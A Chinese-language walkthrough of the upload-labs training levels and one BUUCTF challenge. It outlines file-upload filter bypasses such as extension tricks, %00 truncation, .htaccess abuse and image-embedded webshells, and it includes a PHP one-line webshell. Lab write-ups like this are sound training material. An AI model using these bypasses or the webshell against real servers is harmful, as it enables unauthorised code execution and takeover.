# upload-labs 通关记录总计
# Pass-01 (前端绕过)
1 | 三种方法: |
题目源码
1 | function checkFile() { |
第一种方法 - 前端绕过
添加允许上传为 php 文件
上传 a.php,成功上传
第二种方法 - burp 抓包进行改包
上传 b.jpg 进行 burp 抓包,改为 b.php 成功上传
第三种方法 - 删除 "return checkFile ()"
1 | 这个有点玄学,谷歌有时会不行,拿火狐就可以了 |
成功上传 c.php
# Pass-02 (jpg 改包 php 上传)
题目源码
1 | $is_upload = false; |
jpg 改包为 php,成功上传
# Pass-03 (php 后缀上传)
题目源码
1 | $is_upload = false; |
成功上传
# Pass-04 (.htaccess 上传)
题目源码
1 | $is_upload = false; |
1 | 先进行上传.htaccess一句话,在上传图片木马 |
1 | <FilesMatch "*.jpg"> |
在进行上传图片木马
# Pass-05 (大小写绕过)
题目源码
1 | $is_upload = false; |
成功上传
# Pass-06(空格绕过)
题目源码
1 | $is_upload = false; |
成功上传
# Pass-07(点绕过)
题目源码
1 | $is_upload = false; |
分析源代码,发现没有删除末尾的点,果断点绕过
上传上去后,有个小坑,不能访问 a.php.
直接访问 a.php
# Pass-08 (::$DATA 绕过)
1 | $is_upload = false; |
需要删除::$DATA, 直接访问
# Pass-09(点空点绕过)
题目源码
1 | $is_upload = false; |
利用点空点绕过
成功访问 a.php
# Pass-10 (双写 pphphp 绕过)
题目源码
1 | $is_upload = false; |
利用双写进行绕过 a.pphphp
# Pass-11 (%00 截断)
1 | $is_upload = false; |
在 POST 更改为 a.php%00 截断
# Pass-12 (%00 截断 hex)
题目源码
1 | $is_upload = false; |
成功上传,访问 a.php
# Pass-13 (图片码,利用 include.php 包含)
1 | function getReailFileType($filename){ |
直接上传 b.jpg,再进行文件包含
# Pass-14 (同 13 相同图片码)
题目源码
1 | function isImage($filename){ |
# Pass-15 (同 13 相同图片码)
题目源码
1 | function isImage($filename){ |
# Pass-16 (图片渲染绕过)
题目源码
1 | $is_upload = false; |
先上传一个普通的 gif 图,再进行保存下载,分析两张图片,找到位置相同处进行写马 (图片渲染)
相同位置进行写马
成功上传
利用菜刀进行连接,获得权限
# Pass-17,Pass-18(条件竞争)
1 | $is_upload = false; |
# Pass-19 (php00 截断,jpg 上传)
1 | $is_upload = false; |
1 | 分析,move_uploaded_file()函数中的img_path是由post参数save_name控制的, |
再进行 hex 00 截断
进行上传,上传成功
菜刀连接,拿到 shell
第二种方法,传一个 REQUEST 请求,进行浏览器 GET 得 flag
更改 hex 00 截断上传
浏览器进行 GET 请求访问
查看到 flagvalue.txt
# Pass-20 (数组绕过)
1 | $is_upload = false; |
1 | 如果不是数组则将其拆成数组,然后数组最后一个的值(end函数就是取数组最后一个的值)同白名单做比较,符合jpg、png、gif中的一种就允许上传了。 |
eval 和 system 区别
1 | <?php eval($_REQUEST[cmd]);?> |
# 拓展 (过滤 <?)
buuctf 题目:http://7f02f3f4-e665-45dd-8572-1bb3edb16a81.node3.buuoj.cn/
进行 burp 抓包上传